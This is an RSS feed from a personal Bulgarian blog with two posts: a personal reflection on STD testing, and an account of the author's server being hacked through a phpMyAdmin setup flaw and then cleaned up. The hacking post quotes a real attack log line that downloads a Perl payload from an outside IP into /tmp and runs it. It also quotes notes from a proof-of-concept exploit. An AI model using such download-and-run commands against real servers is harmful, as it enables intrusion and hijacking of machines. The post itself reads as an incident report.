<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Lucifer&#039;s sandbox &#187; std</title>
	<atom:link href="http://www.anavaro.com/blog/tag/std/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.anavaro.com/blog</link>
	<description>Where the devil plays</description>
	<lastBuildDate>Sun, 29 Jan 2012 18:43:12 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Сексуално здраве &#8230;</title>
		<link>http://www.anavaro.com/blog/sexual-health/</link>
		<comments>http://www.anavaro.com/blog/sexual-health/#comments</comments>
		<pubDate>Tue, 05 Jan 2010 04:28:48 +0000</pubDate>
		<dc:creator>Lucifer</dc:creator>
				<category><![CDATA[blog]]></category>
		<category><![CDATA[misk]]></category>
		<category><![CDATA[социални]]></category>
		<category><![CDATA[sex]]></category>
		<category><![CDATA[sexual health]]></category>
		<category><![CDATA[std]]></category>
		<category><![CDATA[венерически болести]]></category>
		<category><![CDATA[секс]]></category>
		<category><![CDATA[сексуално здраве]]></category>

		<guid isPermaLink="false">http://www.anavaro.com/blog/?p=526</guid>
		<description><![CDATA[Една случка около Нова година, ме накара да се замисля за няколко въпроса: Колко от нас (включително и мен) си правят редовни и профилактични тестове за STD (Sexually Transmitted Diseases)? Колко от нас практикуват безопасен секс? Колко от нас са наясно с нещата? Случката, като цяло не е интересна &#8230; интересно е какво ме накара [...]]]></description>
			<content:encoded><![CDATA[<p>Една случка около Нова година, ме накара да се замисля за няколко въпроса:</p>
<p>Колко от нас (включително и мен) си правят редовни и профилактични тестове за STD (Sexually Transmitted Diseases)?</p>
<p>Колко от нас практикуват безопасен секс?</p>
<p>Колко от нас са наясно с нещата?</p>
<p><br class="spacer_" /></p>
<p>Случката, като цяло не е интересна &#8230; интересно е какво ме накара да направя. За да не задълбавам, ще съкратя нещата: помолиха ме да се изследвам за STD.</p>
<p>По принцип, на времето, когато имах по-див и освободен сексуален живот, го правих редовно &#8211; на всеки 6 месеца се ходеше в ХЕИ във Варна, взимаха ми кръв и ми правиха тест &#8230; това се беше превърнало в навик &#8230;</p>
<p>По стечение на обстоятелствата, последния ми тест е от малко повече от 6 месеца. Просто така се стекоха нещата, а и имаше един период в живота ми в който &#8230; ами да кажем, че няма по хубаво от 1/2 TB порно &#8230; и загубих този хубав мой навик.</p>
<p>От събота ровя за да намеря къде в София правят такива тестове &#8230; Най-накрая намерих. Позвъних и ми казаха, че могат да ми направят само за HIV. Еми и това е добро като за начало &#8211; все пак през последните 6-8 месеца не съм се отдавала много много на &#8220;желанията&#8221; си. На кратко ми направиха теста &#8230; не че през 5-те минути които отне на реактивите да взаимодействат не се побърках то страх &#8230; но това си е друг въпрос&#8230;.</p>
<p>Спокойно. Оказа се Отрицателен &#8211; имам си бележка на която пише HIV NEGATIVE. Вярно, че след седмица &#8211; две ще се наложи да ходя пак, за да видя дали са получили и другите тестове, но &#8230;</p>
<p><br class="spacer_" /></p>
<p>Не ме разбирайте погрешно &#8211; не пиша тази тема за да кажа резултата от изследванията (дори аз не съм такъв). Пиша за да ви задам въпросите по-горе. Но нека се опитам да ги формулирам по кратко и ясно:</p>
<p>1. Правили ли сте си тестове за STD? Ако да &#8211; то колко често и по каква причина? Ако не &#8211; по каква причина?</p>
<p>2. Практикувате ли безопасен секс и какво разбирате под &#8220;безопасен секс&#8221;? Защо?</p>
<p>3. До колко разчитате на партньора ви да ви пази? Защо?</p>
<p>4. Знаете ли за безплатните тестове? Възползвате ли се от тях?</p>
<p><br class="spacer_" /></p>
<p>Странна тема от мен нали? Не съм едно от най-социално загрижените животни наоколо, но по някаква причина липсата на сексуална култура в хората ме хвърля почти толкова в шок, колкото и ограниченото мислене &#8230;</p>
<p><br class="spacer_" /></p>
<p>Ваш,</p>
<p>Lucifer</p>
]]></content:encoded>
			<wfw:commentRss>http://www.anavaro.com/blog/sexual-health/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Hacked &#8230;</title>
		<link>http://www.anavaro.com/blog/hacked/</link>
		<comments>http://www.anavaro.com/blog/hacked/#comments</comments>
		<pubDate>Thu, 03 Dec 2009 01:40:36 +0000</pubDate>
		<dc:creator>Lucifer</dc:creator>
				<category><![CDATA[blog]]></category>
		<category><![CDATA[geek time]]></category>
		<category><![CDATA[misk]]></category>
		<category><![CDATA[cron]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[phpMyAdmin]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[std]]></category>
		<category><![CDATA[virus]]></category>
		<category><![CDATA[блог]]></category>
		<category><![CDATA[вирус]]></category>
		<category><![CDATA[линукс]]></category>
		<category><![CDATA[сървър]]></category>

		<guid isPermaLink="false">http://www.anavaro.com/blog/?p=468</guid>
		<description><![CDATA[Искам да се оплача &#8230; от собствената си глупост &#8230; и то много да се оплача &#8230; То бива бива да съм заблуден, ама като мене не бива. Ситуацията на кратко &#8211; сървъра ми беше хакнат! Дап, моето мило Анаваро! Беше заразен с IRC бот вирус. Нямаше много &#8220;мрежеви&#8221; поражения &#8230; защото машината слаба или [...]]]></description>
			<content:encoded><![CDATA[<p>Искам да се оплача &#8230; от собствената си глупост &#8230; и то много да се оплача &#8230;</p>
<p>То бива бива да съм заблуден, ама като мене не бива. Ситуацията на кратко &#8211; сървъра ми беше хакнат! Дап, моето мило Анаваро!</p>
<p>Беше заразен с IRC бот вирус. Нямаше много &#8220;мрежеви&#8221; поражения &#8230; защото машината слаба или аз съм я сложил калпаво, та вируса само се изпълняваше, вдигаше CPU-то на 100% и системата умираше &#8211; няма мрежа, няма нищо, а аз знаете съм на 500 км.</p>
<p>След няколко рестарт-а и любимите ми &#8220;<span style="font-family: terminal,monaco;">tail -f</span>&#8221; и &#8220;<span style="font-family: terminal,monaco;">htop</span>&#8221; успях да засека следния малък проблем:</p>
<pre style="margin-top: 0pt; display: inline;">ID    USER    NI  CPU%  MEM%   VIRT    SHR   S  TIME+     Command
3813  apache  0   65.0    0.1       1776   432    R   1:42.64   ./std 89.137.139.225 0</pre>
<p>А &#8230; ново 20??? Какъв пък процес се изпълнява от apache (Web Server-a) &#8230;</p>
<p>Спомних си кога за първи път се появи проблема и се зарових из логовете на индианеца &#8230; където открих следния &#8220;смахнат&#8221; ред:</p>
<pre>88.191.14.38 - - [29/Nov/2009:02:12:10 +0200] "GET /phpMyAdmin/config/config.inc.php?c=cd%20/tmp;wget%20http://88.170.72.136/gcc.txt;lwp-download%20http://88.170.72.136/gcc.txt;fetch%20http://88.170.72.136/gcc.txt;perl%20gcc.txt;rm%20-fr%20gcc.txt HTTP/1.1" 200 181</pre>
<p>Изненадкааа &#8230;Разбира се разпищях се из Linux-bg и ми върнаха лошата за мен новина:</p>
<blockquote><address># PoC script successfully tested on the following targets:</address>
<address># phpMyAdmin 2.11.4, 2.11.9.3, 2.11.9.4, 3.0.0 and 3.0.1.1</address>
<address># Linux 2.6.24-24-generic i686 GNU/Linux (Ubuntu 8.04.2)</address>
<address>
# attack requirements:</address>
<address># 1) vulnerable version (obviously!): 2.11.x before 2.11.9.5</address>
<address># and 3.x before 3.1.3.1 according to PMASA-2009-3</address>
<address># 2) it *seems* this vuln can only be exploited against environments</address>
<address># where the administrator has chosen to install phpMyAdmin following</address>
<address># the *wizard* method, rather than manual method: <a href="http://snipurl.com/jhjxx" target="_blank">http://snipurl.com/jhjxx</a></address>
<address><strong># 3) administrator must have NOT deleted the &#8216;/config/&#8217; directory<br />
# within the &#8216;/phpMyAdmin/&#8217; directory. this is because this directory is<br />
# where &#8216;/scripts/setup.php&#8217; tries to create &#8216;config.inc.php&#8217; which is where<br />
# our evil PHP code is injected <img title="Cool" src="http://www.linux-bg.org/forum/Smileys/default/cool.gif" border="0" alt="8)" /></strong></address>
</blockquote>
<p>Бах! Как се саморазпосувах, само може да си представите! Правих какви ли не магарии &#8211; то не бяха преинсталации на apache, промени на пътеки &#8230;</p>
<p>Отново и отново ./std $IP $PORT процеса ме убиваше &#8230;</p>
<p>Питайки чичко Гугъл &#8230; случайно стигнах до един сайт в който някой се оплакваше от моя проблем.</p>
<pre>ps aux | grep apache</pre>
<p>ми даде виновника &#8211; индианеца се беше троянизирал &#8230; изпълняваше процеси (добре че е deamon) &#8230;</p>
<pre>crontab -u apache -e</pre>
<p>ми даде и проблема &#8211; някакво фаилче кръстено y2kupdate в /tmp/.pid/ и изпълнимо &#8230; на бързо му бих &#8220;rm -r&#8221;, премахнах референцията в cron-а и изтрих phpMyAdmin-a (сложих си го на скрито място) &#8230;</p>
<p>Знам, че съм пълен идиот &#8230; ама аз съм си такъв &#8230;</p>
<p>Ваш,</p>
<p>Lucifer</p>
]]></content:encoded>
			<wfw:commentRss>http://www.anavaro.com/blog/hacked/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

